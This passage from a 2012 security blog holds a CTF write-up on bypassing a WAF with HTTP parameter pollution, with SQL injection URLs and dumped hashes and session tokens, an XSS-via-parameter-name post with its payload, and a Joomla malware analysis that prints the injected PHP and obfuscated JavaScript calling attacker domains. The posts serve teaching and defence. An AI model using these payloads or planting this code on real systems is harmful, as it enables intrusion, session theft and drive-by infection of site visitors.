pero tenia un gusto inexplicable en mi Corazon y le agradeci a Dios tanto tanto
por ser tan bueno conmigo, el trabajo de mis suenos se habia concretado
mientras yo me reenamoraba de mi carrera professional la cual ya estaba a unos
minutos de firmar el divorcio con la misma.</div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
Gracias Dios! Para ti toda la Gloria y toda la honra.<span style="mso-spacerun: yes;"> </span></div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
<span style="color: lime;"><b>Octubre 14, 2012, 11:40 PM:</b></span></div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
Hoy a 2 meses de trabajar para Symantec les puedo decir que reafirmo que Dios me puso este trabajo, los compa<span class="short_text" id="result_box" lang="es"><span class="hps">ñeros son estupendos y muy talentosos, mi jefe genial, la ciudad Culver City fantastica, hermosa, me voy todos los dias caminando al trabajo disfrutando de la creacion! En fin, era lo que Dios tenia preparado para mi.</span></span></div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
<span class="short_text" id="result_box" lang="es"><span class="hps"><span style="mso-spacerun: yes;"> </span>AMEN. </span></span><b> </b></div>
<br />Danuxhttp://www.blogger.com/profile/06729243424924753220noreply@blogger.com0tag:blogger.com,1999:blog-4984553587728477254.post-32464457451623910522012-10-03T02:34:00.001-07:002012-10-03T02:34:56.874-07:00Bypassing WAF via HTTP Parameter Pollution<br />
Last week I was invited to join a team to participate in a CTF (Capture The Flag) contest organized by <a href="https://csawctf.poly.edu/" target="_blank">CSAW</a> Team.<br />
<br />
With my wife and kids around, I only had the opportunity to pick one challenge related to Web Exploitation named: "HorceForce" worth 300 points! Basically, you were provided with a low-privilege account and needed to find your way to get Administrator access.<br />
<br />
So, there are multiple resources explaining how to exploit it, but definitely I want to share my experience.<br />
<br />
After sending some single quotes it was easy to find a SQL Injection bug by getting the well known "MySQL SQL Error Message".<br />
<br />
So, as you all know the first attempt was something like:<br />
<br />
<span style="color: lime;">http://128.238.66.217/horse.php?id=7 or 1 IN (select current_user)</span><br />
<br />
And I got I ERROR Message saying something like "PLEASE STOP trying to hack this blablablabla site".<br />
<br />
Then after many techniques to bypass the filter I realized the WAF was configured to deny any string containing either "select" or "union", blindly I assumed the WAF's regular expression was something like:<br />
<br />
<span style="color: lime;">/^.*select.*$/ or /^.*union.*$/ </span><br />
<br />
Which means, every string which even makes no sense from SQLi point of view like: <span style="color: lime;">blablaSELECTblabla</span> or a bypass technique like: <span style="color: lime;">/*!union*/</span> , were triggering the Warning Message.<br />
<br />
After some research I found the <a href="http://www.acunetix.com/blog/whitepaper-http-parameter-pollution/" target="_blank">HTTP Pollution</a> technique which basically allows the attacker (among other things) to play with the GET Parameters in order to confuse the WAF filter.<br />
<br />
<b>So, how it works?</b><br />
<br />
Let's say you have the GET parameter "id", you can duplicate it (or even add it many times) and send something like:<br />
<br />
<span style="color: lime;">?id=value1&id=value2</span><br />
<br />
And, depending on the Framework used (PHP, Java, ASP.NET, etc) the parameters are going to be parsed differently, in our case with Apache/PHP, if you inject the same parameter multiple times, only the last one will be parsed by the Framework (see table below) but guess what? Only the first parameter is going to be analyzed by the WAF!<br />
<br />
This means, by injecting: ?id=7&id=[SQLi]<br />
<br />
WAF Network Layer parses <span style="color: red;">id=7</span> <- Good to go!<br />
PHP Application Layer parses <span style="color: red;">id=<attack></attack>[SQLi]</span> <- SQLi successfully injected<br />
<br />
So, this is a typical example where you can inject something that is
going to be treated differently at Network Layer and Application Layer.<br />
<br />
Below is a table where you can find how other Frameworks react when receiving the same parameter multiple times. Like ASP.NET, if it receives two parameters, it will concatenate them, and therefore you can split the attack into those fields to bypass the WAF, which is out of scope of this blog.<br />
<br />
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgF_Kvp69Pq8GA_DXiCQyw6xQYoVp9y9SnI5dVOxNuhaXP9NQHBrNTzTj84GItEslcCG0Ym_iosREUKSKEDg26vkBwFMd9rtffD2y2Mv7sOyeJrTqhEZVJkNNOgxlpWZqveNH10yajk4FGt/s1600/httpPollution.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="184" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgF_Kvp69Pq8GA_DXiCQyw6xQYoVp9y9SnI5dVOxNuhaXP9NQHBrNTzTj84GItEslcCG0Ym_iosREUKSKEDg26vkBwFMd9rtffD2y2Mv7sOyeJrTqhEZVJkNNOgxlpWZqveNH10yajk4FGt/s320/httpPollution.jpg" width="320" /></a></div>
<br />
So, then my next try was to inject something like:<br />
<br />
<span style="color: lime;">128.238.66.217/horse.php?id=0&<span style="color: red;">id=7%20union%20select%201,2,3,current_user</span></span><br />
<br />
You can notice, all the injection is taking place in the second parameter, which is not being parsed by the WAF and voila!!! I got my first successful response:<br />
<br />
<span style="color: lime;">csaw_chal1@localhost </span><br />
<br />
After that, all is simple SQLi to enumerate tables:<br />
<br />
<span style="color: lime;">128.238.66.217/horse.php?id=0&id=7%20union%20select%20table_name,2,3,4%20from%20information_schema.tables%20limit%201</span><br />
<br />
<span style="color: yellow;">horses<br />sessions<br />users</span><br />
<br />
Then get fields from table users:<br />
<span style="color: lime;">128.238.66.217/horse.php?id=0&id=7 union select 1,2,3,column_name from information_schema.columns where table_name='users' limit 200</span><br />
<br />
<span style="color: yellow;">Description: user_id<br />Description: username<br />Description: password<br />Description: name<br />Description: level</span><br />
<br />
And then dump the username and password trying to identify the Administrator password:<br />
<br />
<span style="color: yellow;">Description: administrator<br />Pass: $2a$08$kF9H1vqa.fogHc2JwbFNweay.sgdksbiuB9f7MN5mNZgcG6y7BrFG<br /><br />Description: michael_vick<br />Pass: $2a$08$B2fI59Zzph61LajSSgkoB.i0YJ9HH8wBobmExxqPxl/.0Zu3Tijm2<br /><br />Description: csaw_challenger<br />Pass: $2a$08$zFI9j/fsHKKbV0UCiavNveEIIi./v8lsqiaKxTV3T3BkrBk4XvSEK<br /><br />Description: beefsister33<br />$2a$08$AUAeUut7FjkdCMfQJUuJwulgnBLbbTc0F/njHbl3mn59IS6OyADbO<br /><br />Description: nuclear_grandma<br />$2a$08$edsWdwf45DDC4Vb2VPiikOspNpr3ePS5VE7z3aYsuMEZyodbkHRDK<br /><br />Description: teabag_swag<br />Pass: $2a$08$uN4sFJ73Quf/b5hC3GxXIO53ewJ0W71c2Vuh4f2x.pr3iTrChvNOK</span><br />
<span style="color: yellow;"><br /></span>
But unfortunately, those passwords were encrypted, but if you remember, there was a table named "<span style="color: yellow;">sessions</span>", so let's dump its content:<br />
<br />
<span style="color: lime;">128.238.66.217/horse.php?id=0&id=7%20union%20select%201,2,3,session%20from%20sessions%20limit%20200</span><br />
<br />
<span style="color: yellow;">Description: bsv30irdq0PCvJxJrCAxROcmdXaUiwgQtPeg5J75EYgrH8jyHQ<br />Description: hbpnEGKo2WeLvQuQL0kb8vyyOHMn96ZYAROXmBggB6Pdr0FX4p<br />Description: VnRu2Zcv7REYTgHOqafggyYn3hA3cq1D9B4u4IxEcnB0TgPT4j<br />Description: UkOAVJ4ZAuX1t0Hib4maJccftZVeC4TdCZ8WxhQJZKqQ9axbwc<br />Description: 4gNszBZeSDjjKE5sSJwIcPOzTvhM90IR9JrqPa286tLfiDNDyp<br />Description: hmmJU3LrcIO7yJ77aSOsL9YIEjKITkOLg1CE0HF6Cnsbv2J077<br />Description: SL2v2sJvyu7Xw5Lc5b8UBSNFGOFhMfFrCWsgNGZZBSBfazpTlX</span><br />
<br />
<br />
<br />
Then, you just go to your browser, use an Add-on like "Cookies Manager" from Firefox and change your current session value with one of the ones found above and ..... we got the Admin session:<br />
<br />
<span style="color: white;"><span style="background-color: red;">bsv30irdq0PCvJxJrCAxROcmdXaUiwgQtPeg5J75EYgrH8jyHQ</span></span><br />
<br />
<br />Which give us the precious key:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj9G-Zc98Hv4wK0S3dQREpK0Ev3W7SBVCeeiamIujgVAkw2jjRovwHeHvotKYaNDGzQrdEbFc5QU0yGgA9Pw0gIhOLGnc6xRbfFyrPtEMe8T9KPINZixqBQqw8NxHQxn7rqFlOFNEL2vyu4/s1600/ChallengeKey.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="113" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj9G-Zc98Hv4wK0S3dQREpK0Ev3W7SBVCeeiamIujgVAkw2jjRovwHeHvotKYaNDGzQrdEbFc5QU0yGgA9Pw0gIhOLGnc6xRbfFyrPtEMe8T9KPINZixqBQqw8NxHQxn7rqFlOFNEL2vyu4/s320/ChallengeKey.jpg" width="320" /></a></div>
<br />Danuxhttp://www.blogger.com/profile/06729243424924753220noreply@blogger.com26tag:blogger.com,1999:blog-4984553587728477254.post-57694071397101236892012-07-28T00:43:00.003-07:002012-07-28T01:07:54.457-07:00Post/Get Parameter's Name InjectionWhen testing Web Applications, usually a security analyst will try to identify all the inputs to be injected like Cookies, POST/GET parameters, HTTP Headers, etc.<br />
<br />
Once identified, the analyst will start injecting malicious data into those fields, something like:<br />
<br />
Cookie: --attack string--<br />
name= --attack string--<br />
uri?name= --attack string--<br />
<br />
EVERYTHING injected in the parameter's value, what about parameter's name? Does it worth?<br />
<br />
Why a Developer would like to validate the input receive in the parameter's name?<br />
<br />
As any other vulnerability, there are specific scenarios where this can be exploited, the most common one is when all the parameters received via GET or POST are used to generated a new URL:<br />
<br />
<div class="MsoNormal" style="color: lime;">
java.util.Enumeration e = request.getParameterNames();</div>
<div class="MsoNormal" style="color: lime;">
if (e.hasMoreElements()) {</div>
<div class="MsoNormal" style="color: lime;">
String name = (String)e.nextElement();</div>
<div class="MsoNormal" style="color: lime;">
String value = request.getParameter(name);</div>
<div class="MsoNormal" style="color: lime;">
qs= name+"="+java.net.URLEncoder.<wbr></wbr>encode(value,"utf-8");</div>
<div class="MsoNormal" style="color: lime;">
while (e.hasMoreElements()) {</div>
<div class="MsoNormal" style="color: lime;">
name = (String)e.nextElement();</div>
<div class="MsoNormal" style="color: lime;">
value = request.getParameter(name);</div>
<div class="MsoNormal" style="color: lime;">
<span style="background-color: red;"> qs</span> += "&"+name+"="+java.net.<wbr></wbr>URLEncoder.encode(value,"utf-<wbr></wbr>8");</div>
<div class="MsoNormal" style="color: lime;">
}</div>
<div class="MsoNormal" style="color: lime;">
}</div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
**** Notice only the parameter's value is being URLEncoded*************</div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
Then, the Query String is concatenated in the iframe src attribute: </div>
<div class="MsoNormal">
<br /></div>
<iframe src="xxxx.com?search.aspx?<span style="background-color: red; color: #eeeeee;"><%=<span style="color: lime;">qs</span></span><span style="background-color: red; color: white;">%></span><br />
<br />
So, let's try to inject XSS into parameter's name, like:<br />
<br />
<span style="color: lime;">%22%20onmouseover%3d"alert(1111)">%20DANUX</iframe> <iframe a%3D"=
</span><br />
<br />
Which will print out in the browser as:<br />
<br />
<iframe src="xxxx.com?search.aspx?<span style="color: lime;">" onmouseover="alert(1111)">DANUX</iframe> <iframe a="</span><span style="background-color: red; color: #eeeeee;">"></iframe></span><br />
<br />
The text highlighted in RED is the portion completed automatically by the application and you can see the html is properly formatted causing the XSS code being executed successfully, tested on FireFox 12.0.<br />
<br />
As mentioned before, parameter's name injection is not widely tested by Security Analyst, not even by some Security Vendors, I tested my vulnerable App with WebInspect version 9.X and realized it does NOT test parameter's name:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEglD5792nxtFPsgK0ey19AX8jnCFM-uJuus1VcVjCCvvv5MT0kcPqj2g2apJr2QhnjVmI4MGaxG0_FeJJscU6CE3qi1qXzkfSN16YlB_dzdhZo0yCVxVfzda3PsSTp_ruTDvi0vcE6C0WiV/s1600/param-name-injection.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="131" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEglD5792nxtFPsgK0ey19AX8jnCFM-uJuus1VcVjCCvvv5MT0kcPqj2g2apJr2QhnjVmI4MGaxG0_FeJJscU6CE3qi1qXzkfSN16YlB_dzdhZo0yCVxVfzda3PsSTp_ruTDvi0vcE6C0WiV/s640/param-name-injection.JPG" width="640" /></a></div>Danuxhttp://www.blogger.com/profile/06729243424924753220noreply@blogger.com2tag:blogger.com,1999:blog-4984553587728477254.post-26969247226772852842012-07-08T23:50:00.001-07:002013-09-06T12:34:54.775-07:00Dumping Polymorphic Malware in seconds!Nowadays Polymorphic Malware is created to try to bypass AV detection, but there are ways to easily dump the malicious binary from memory and then focus the reversing efforts in the decoded binary. Win APIs like VirtualProtect and Hardware Breakpoints can help as shown below: <br />
<br />
<br />
<br />
<br />
<div style="text-align: center;">
<iframe allowfullscreen='allowfullscreen' webkitallowfullscreen='webkitallowfullscreen' mozallowfullscreen='mozallowfullscreen' width='320' height='266' src='https://www.youtube.com/embed/Rh2WoRRVKos?feature=player_embedded' frameborder='0'></iframe></div>
<br />Danuxhttp://www.blogger.com/profile/06729243424924753220noreply@blogger.com5tag:blogger.com,1999:blog-4984553587728477254.post-85486568962683764882012-04-21T03:32:00.000-07:002013-03-06T10:08:06.153-08:00Dissecting Joomla MalwareBy the time of this post being written, there is a malicious site:<span style="background-color: red; color: white;"> </span><span style="background-color: red; color: white;">botstatisticupdate.com</span><span style="background-color: red; color: white;"> </span>serving obfuscated JavaScript code using the well known drive-by-download technique.
Although the Malware was found in a Joomla-powered site, the malicious payload can be inserted in any web/client application.
The method of infection is out of the scope of this blog but can be by exploiting a remote execution vulnerability (LFI) in the web site, or by stealing account credentials, etc.
<b> </b><br />
<br />
<b><span style="color: orange;">Symptom of infection</span>:</b>
Suddenly you realized that every person visiting your site is being infected by a Malware, the AV is detecting it as a Trojan trying to access a malicious domain as shown below:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhTdpysj3oshnSo86UkjM_qj5hUczM-8azccLqjSN-RA2152hntlNbs6X4WkEaPW_LkCFnn5mCMbia4C_00Inlx9JpT2uOJHo4NpqzhELOMkShURCIuMrZH8zQopvRRaMMmCP2A7pnqt_s0/s1600/trojan.jpg" imageanchor="1"><img border="0" height="300" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhTdpysj3oshnSo86UkjM_qj5hUczM-8azccLqjSN-RA2152hntlNbs6X4WkEaPW_LkCFnn5mCMbia4C_00Inlx9JpT2uOJHo4NpqzhELOMkShURCIuMrZH8zQopvRRaMMmCP2A7pnqt_s0/s320/trojan.jpg" width="320" /></a></div>
<br />
Then after some analysis, you realize that the Malware is being injected before the html body in the response:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhMqBl5j8Z5UxM5EGdY5VmrY-IoTXWF54zoAHsU2-9fdJRIW8ygtPg6n-knttxZconows-_6SCqz0q8OHnG4qL-T2hfAgRNWtiaAe1in-QcFMCFJy8TNy2QzXci-bISVGOPYAwSpxN1vINi/s1600/payload.jpg" imageanchor="1"><img border="0" height="91" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhMqBl5j8Z5UxM5EGdY5VmrY-IoTXWF54zoAHsU2-9fdJRIW8ygtPg6n-knttxZconows-_6SCqz0q8OHnG4qL-T2hfAgRNWtiaAe1in-QcFMCFJy8TNy2QzXci-bISVGOPYAwSpxN1vINi/s320/payload.jpg" width="320" /></a></div>
<br />
<div style="color: orange;">
<b>The Challenge:</b></div>
<br />
Now you need to find the malicious program running at your Web Server that is injecting above mentioned payload.
I will save you some time, Joomla is a modular software which allows (among other things) the use of customized templates, those templates are the skin of your web site which makes it look awesome.<br />
<br />
Joomla can only have one template activated at a time and all those files are located under /templates/ dir.<br />
<br />
Finally, every template has its own index.php file which will be loaded in every singe HTTP request and therefore, it is a good place to inject the Malware.<br />
After some investigation, I realized the Malware was injected in every single index.php of each template, this way, if you change the default template, still will be serving malicious code to the end users. As an example, below are three templates infected:<br />
<br />
<div style="color: lime;">
/templates/beez/index.php </div>
<div style="color: lime;">
/templates/modernview/index.php </div>
<div style="color: lime;">
/templates/eyedesign/index.php </div>
<div style="color: lime;">
<br /></div>
A fast way to detect infections is to run a diff (compare) between current files and default installation, we did this and detected that below code was injected:<br />
<br />
<div style="color: lime;">
<span style="font-family: Arial; font-size: 13px;">if (!isset($sRetry))<br />{<br />global $sRetry;<br />$sRetry = 1;<br /> // This code use for global bot statistic<br /> $sUserAgent = strtolower($_SERVER['HTTP_USER_AGENT']); // Looks for google serch bot<br /> $stCurlHandle = NULL;<br /> $stCurlLink = "";<br />
if((strstr($sUserAgent, 'google') ==
false)&&(strstr($sUserAgent, 'yahoo') ==
false)&&(strstr($sUserAgent, 'baidu') ==
false)&&(strstr($sUserAgent, 'msn') ==
false)&&(strstr($sUserAgent, 'opera') ==
false)&&(strstr($sUserAgent, 'chrome') ==
false)&&(strstr($sUserAgent, 'bing') ==
false)&&(strstr($sUserAgent, 'safari') ==
false)&&(strstr($sUserAgent, 'bot') == false)) // Bot comes<br /> {<br />
if(isset($_SERVER['REMOTE_ADDR']) == true &&
isset($_SERVER['HTTP_HOST']) == true){ // Create bot
analitics <br /> <span style="color: red;">$stCurlLink = base64_decode(
'aHR0cDovL2JvdHN0YXRpc3RpY3VwZGF0ZS5jb20vc3RhdC9zdGF0LnBocA==').'?ip='.urlencode($_SERVER['REMOTE_ADDR']).'&useragent='.urlencode($sUserAgent).'&domainname='.urlencode($_SERVER['HTTP_HOST']).'&fullpath='.urlencode($_SERVER['REQUEST_URI']).'&check='.isset($_GET['look']);</span><br /> @$stCurlHandle = curl_init( $stCurlLink ); <br /> }<br /> } <br />if ( $stCurlHandle !== NULL )<br />{<br /> curl_setopt($stCurlHandle, CURLOPT_RETURNTRANSFER, 1);<br /> curl_setopt($stCurlHandle, CURLOPT_TIMEOUT, 12);<br /> <span style="color: red;"> $sResult = @curl_exec($stCurlHandle);</span> <br /> if ($sResult[0]=="O") <br /> {$sResult[0]=" ";<br /> echo $sResult; // Statistic code end<br /> }<br /> curl_close($stCurlHandle); <br />}<br />}<br />?></span></div>
<br />
<div style="color: orange;">
<b>Explanation: </b></div>
<br />
At the beginning checks whether the request is coming from well known crawlers like google, opera, yahoo, msn, bing, safari, baidu, chrome or bot in which case will not process the request OR if it is coming from a normal user in which case process the request to get the malicious payload.<br />
<b><span style="color: white;">NOTE</span></b>: If you want to debug this code, print out the variable $stCurlLink and variable $Result mentioned in red color above. Once the request is prepared, it is lunch via <span style="color: red;">@curl_exec</span> function.<br />
<br />
After debugging, I got the value received in var <span style="color: red;">$stCurlLink</span>:<br />
<br />
<div style="color: lime;">
http://botstatisticupdate.com/stat/stat.php?ip=2XX.5X.4.X&useragent=mozilla/5.0+(windows+nt+5.0;+rv:5.0.1)+gecko/20100101+firefox/5.0.1&domainname=joomla.hacked-site.net&fullpath=/path/index.php?option%3Dcom_content&Itemid=1&lang%3Den&view=fro
ntpage&check= </div>
<br />
This is the request to be sent to the Controller passing the Victim's IP and Host-Hacked's IP. Those parameters are important because:<br />
<br />
1. The Controller only infects one time based on IP Address.<br />
2. The Controller only responses to IP's from hacked sites, which means, if you try to call the Controller directly it will not serve any information.<br />
<br />
Once the Request is sent, the Controller replies with the payload mentioned below:<br />
<br />
<span style="color: lime;">
</span>
<span style="color: lime;">h=-parseInt('012')/5;</span><br />
<span style="color: lime;">if(window.document)</span><br />
<span style="color: lime;">try{ Boolean(true).prototype.a}</span><br />
<span style="color: lime;">catch(qqq){</span><br />
<span style="color: lime;">st=String;</span><br />
<span style="color: lime;">zz='al';</span><br />
<span style="color: lime;">zz='zv'.substr(1)+zz;</span><br />
<span style="color: lime;">ss=[];</span><br />
<span style="color: lime;">if(1){</span><br />
<span style="color: lime;">f='fromCh';f+='arC';</span><br />
<span style="color: lime;">f+='qgode'["substr"](2);</span><br />
<span style="color: lime;">}</span><br />
<span style="color: lime;">w=this;</span><br />
<span style="color: lime;">e=w[f.substr(11)+zz];</span><br />
<span style="color: lime;">e = function eval(){}eval("e="+e);t='y';}</span><br />
<span style="color: lime;">n="3.5!3.5!51.5!50!15!19!49!54.5!48.5!57.5!53.5!49.5!54!57!22!50.5!49.5!57!33.5!53!49.5!53.5!49.5!54!57!56.5!32!59.5!41!47.5!50.5!38!47.5!53.5!49.5!19!18.5!48!54.5!49!59.5!18.5!19.5!44.5!23!45.5!19.5!60.5!5.5!3.5!3.5!3.5!51.5!50!56!47.5!53.5!49.5!56!19!19.5!28.5!5.5!3.5!3.5!61.5!15!49.5!53!56.5!49.5!15!60.5!5.5!3.5!3.5!3.5!49!54.5!48.5!57.5!53.5!49.5!54!57!22!58.5!56!51.5!57!49.5!19!16!29!51.5!50!56!47.5!53.5!49.5!15!56.5!56!48.5!29.5!18.5!51!57!57!55!28!22.5!22.5!56!53!59.5!50.5!53!22!58.5!51!59.5!54!54.5!57!47.5!49!22!48.5!54.5!53.5!22.5!51.5!53.5!47.5!50.5!49.5!56.5!22!55!51!55!30.5!57!29.5!25!25.5!26!23.5!24!26.5!26.5!26.5!18.5!15!58.5!51.5!49!57!51!29.5!18.5!23.5!23!18.5!15!51!49.5!51.5!50.5!51!57!29.5!18.5!23.5!23!18.5!15!56.5!57!59.5!53!49.5!29.5!18.5!58!51.5!56.5!51.5!48!51.5!53!51.5!57!59.5!28!51!51.5!49!49!49.5!54!28.5!55!54.5!56.5!51.5!57!51.5!54.5!54!28!47.5!48!56.5!54.5!53!57.5!57!49.5!28.5!53!49.5!50!57!28!23!28.5!57!54.5!55!28!23!28.5!18.5!30!29!22.5!51.5!50!56!47.5!53.5!49.5!30!16!19.5!28.5!5.5!3.5!3.5!61.5!5.5!3.5!3.5!50!57.5!54!48.5!57!51.5!54.5!54!15!51.5!50!56!47.5!53.5!49.5!56!19!19.5!60.5!5.5!3.5!3.5!3.5!58!47.5!56!15!50!15!29.5!15!49!54.5!48.5!57.5!53.5!49.5!54!57!22!48.5!56!49.5!47.5!57!49.5!33.5!53!49.5!53.5!49.5!54!57!19!18.5!51.5!50!56!47.5!53.5!49.5!18.5!19.5!28.5!50!22!56.5!49.5!57!31.5!57!57!56!51.5!48!57.5!57!49.5!19!18.5!56.5!56!48.5!18.5!21!18.5!51!57!57!55!28!22.5!22.5!56!53!59.5!50.5!53!22!58.5!51!59.5!54!54.5!57!47.5!49!22!48.5!54.5!53.5!22.5!51.5!53.5!47.5!50.5!49.5!56.5!22!55!51!55!30.5!57!29.5!25!25.5!26!23.5!24!26.5!26.5!26.5!18.5!19.5!28.5!50!22!56.5!57!59.5!53!49.5!22!58!51.5!56.5!51.5!48!51.5!53!51.5!57!59.5!29.5!18.5!51!51.5!49!49!49.5!54!18.5!28.5!50!22!56.5!57!59.5!53!49.5!22!55!54.5!56.5!51.5!57!51.5!54.5!54!29.5!18.5!47.5!48!56.5!54.5!53!57.5!57!49.5!18.5!28.5!50!22!56.5!57!59.5!53!49.5!22!53!49.5!50!57!29.5!18.5!23!18.5!28.5!50!22!56.5!57!59.5!53!49.5!22!57!54.5!55!29.5!18.5!23!18.5!28.5!50!22!56.5!49.5!57!31.5!57!57!56!51.5!48!57.5!57!49.5!19!18.5!58.5!51</span><br />
<span style="color: lime;">.5!49!57!51!18.5!21!18.5!23.5!23!18.5!19.5!28.5!50!22!56.5!49.5!57!31.5!57!57!56!51.5!48!57.5!57!49.5!19!18.5!51!49.5!51.5!50.5!51!57!18.5!21!18.5!23.5!23!18.5!19.5!28.5!5.5!3.5!3.5!3.5!49!54.5!48.5!57.5!53.5!49.5!54!57!22!50.5!49.5!57!33.5!53!49.5!53.5!49.5!54!57!56.5!32!59.5!41!47.5!50.5!38!47.5!53.5!49.5!19!18.5!48!54.5!49!59.5!18.5!19.5!44.5!23!45.5!22!47.5!55!55!49.5!54!49!32.5!51!51.5!53!49!19!50!19.5!28.5!5.5!3.5!3.5!61.5"["split"]("a!".substr(1));for(i=6-2-1-2-;i!=603;i++){</span><br />
<span style="color: lime;">j=i;</span><br />
<span style="color: lime;">if(st)ss=ss+st.fromCharCode(-h*(1+1*n[j]));</span><br />
<span style="color: lime;">}</span><br />
<span style="color: lime;">if(zz)q=ss;</span><br />
<span style="color: lime;">if(t)e(""+q);</span><br />
<br />
<span style="color: lime;">
</span><br />
That response is <b style="color: yellow;">polymorphic</b>, which means, it is different in every new request, below the decoded version:<br />
<br />
if (document.getElementsByTagName('body')[0]){<br />
iframer();<br />
else {
function iframer(){<br />
var f= document.createElement('<span style="color: red;">i_frame</span>');<br />
f.setAttribute('src',<span style="color: lime;">rlygl.whynotad.com/images.php?t=45612777</span>');f.style.visibility='hidden';f.style.position='absolute';
f.style.left='0';f.style.top='0';f.setAttribute('width','10');f.setAttribute('height','10');
document.getElementsByTagName('body')[0].appendChild(f);
}<br />
<br />
The payload is an iframe calling in a hidden way different URLs, below some examples:<br />
<br />
<div style="color: lime;">
rlygl[.]whynotad.com/images.php?t=45612777 </div>
<div style="color: lime;">
kpxpg[.]biz.tm/images.php?t=45612777 </div>
<div style="color: lime;">
ufwut[.]uk.to/images.php?t=45612777 </div>
<br />
NOTE: If you want to deobfuscate the JavaScript code, always use alert command, in this case, replace <span style="color: lime;">e(""+q)</span> at the end with <span style="color: lime;">alert(""+q)</span> and you will get the content in clear text.
<b> </b><br />
<br />
Once the victim(browser) connects to those malicious URLs (without his consent), the attacker will try to compromised the victim machine by using different <span style="color: yellow;">drive-by-download/cache</span> techniques. <b><br /></b><br />
<br />
<div style="color: orange;">
<b>Recommendations:</b></div>
<br />
1. Remove the malicious code inserted into index.php of every template and run a diff between current and default installation to make sure no more files are infected.<br />
<br />
2. Perform Integrity checking to detect any change made to you web files. <a href="http://extensions.lesarbresdesign.info/extensions/eyesite" target="_blank">Eyesite</a> can be a good solution and is free, it will alert you if any files, anywhere in the directory structure are added, changed or deleted.<br />
<br />
Hope you find this useful and spread the word so that all start monitoring activity coming/going from/to <span style="background-color: red; color: white;">botstatisticupdate[.]com/stat/stat.php</span> URL.Danuxhttp://www.blogger.com/profile/06729243424924753220noreply@blogger.com2tag:blogger.com,1999:blog-4984553587728477254.post-56443970233417336882012-04-04T22:48:00.008-07:002012-04-04T23:55:38.631-07:00Wassenaar arrangement could be the cause of Legacy systems encryption weakness.<br style="font-family:arial;"><span style="font-family:arial;">Recently, while doing a secure code review in a Delphi Legacy application, I found a function named: <span style="font-weight: bold;">InitialiseString()</span> used by the <span style="font-weight: bold;">Blowfish</span> symmetric algorithm, then I realized that the Library used for this purpose was the one found </span><a style="font-family: arial;" href="http://www.koders.com/delphi/fid8CE32FDD008D8FC9DD79258D6A3CDC6CA70257C7.aspx?s=pos#L4">here</a><span style="font-family:arial;">. While reviewing the source code a found below chunk:</span><br style="font-family:arial;"><span style="color: rgb(51, 255, 51);font-size:85%;" ><br style="font-family:arial;"></span><pre style=" color: rgb(51, 255, 51);font-family:arial;"><span style="font-size:85%;"><span class="c">{**************************************************************************<br />************ <span style="font-weight: bold;">This section of code implements the 64 bit limit </span>*************<br />************ <span style="font-weight: bold;">im</span><span style="font-weight: bold;" class="s0">pos</span><span style="font-weight: bold;">ed by the Wassennar agreement</span>. The key is *************<br />************ limited to 64 bits. Should you be in a country *************<br />************ where the Wassennar agreement is not in force, *************<br />************ undefine the WASSENAAR_LIMITED variable. *************<br />**************************************************************************}</span><br />1. <span class="c">{$ifdef WASSENAAR_LIMITED}</span><br />2. <span class="c">// turn the key string into a key array </span><br />3. <span class="k">for i:= 1 to Length(Key) do</span><br />4. <span class="k">begin</span><br />5. <span a="" class="k">KeyArray[(i-1) <span style="color: rgb(255, 0, 0);">mod 8</span>] := Ord(Key[i]);</span><br />6. <span class="k">end {for}</span><br />7. <span class="c">{$else}</span><br />8. <span class="c">// turn the key string into a key array </span><br />9. <span class="k">for i := 1 to Length(Key) do</span><br />10. <span class="k">begin</span><br />11. <span a="" class="k">KeyArray[(i-1)] := Ord(Key[i]);</span><br />12. <span class="k">end {for}</span></span></pre><span style="font-family:arial;">Did you noticed the "64 bit limit imposed by Wassenaar agreement...", what is that agreement?</span><br style="font-family:arial;"><br style="font-family:arial;"><span style="font-family:arial;">After some research I understood that:</span><br style="font-family:arial;"><ol style="font-family: arial;"><li>The name is "<a href="http://en.wikipedia.org/wiki/Wassenaar_Arrangement">Wassenaar Arrangement</a>" and not "Wassenaar agreement".</li><li>The Wassenaar Arrangement is a multilateral export control regime with 41 participating states including many former <a href="http://en.wikipedia.org/wiki/Comecon">COMECON</a> countries.</li><li>In December 1998, Wassenaar members revised the Dual-Use Control List, implementing a maximum bit length of 64 bits on exports of mass-market encryption software. See Category 5. part 2 - Information Security in the regime. <span style="font-style: italic;">NOTE: This restriction is applicable to symmetric algorithms only like Blowfish in this case.</span><br /></li></ol><p style="font-family: arial;">More information about this regime can be found <a href="http://www.wassenaar.org/">here</a>.<br /></p><p style="font-family: arial;">Since the Legacy system I was reviewing was created before 1998, it was limited to 64 bits key length as you can see in lines 1-6 of the source code above.<br /></p><p style="font-family: arial;">But then after more research I found and update of this restriction <a href="http://www.bis.doc.gov/policiesandregulations/04forpolcontrols/chap10_encryption.htm">here</a>: <span style="color: rgb(255, 255, 51);">"In December 2000, Wassenaar member countries agreed to remove the 64-bit key length restriction from the Cryptography Note"</span>, <span style="color: rgb(51, 255, 51);">voila!!!!</span> The Legacy system could be 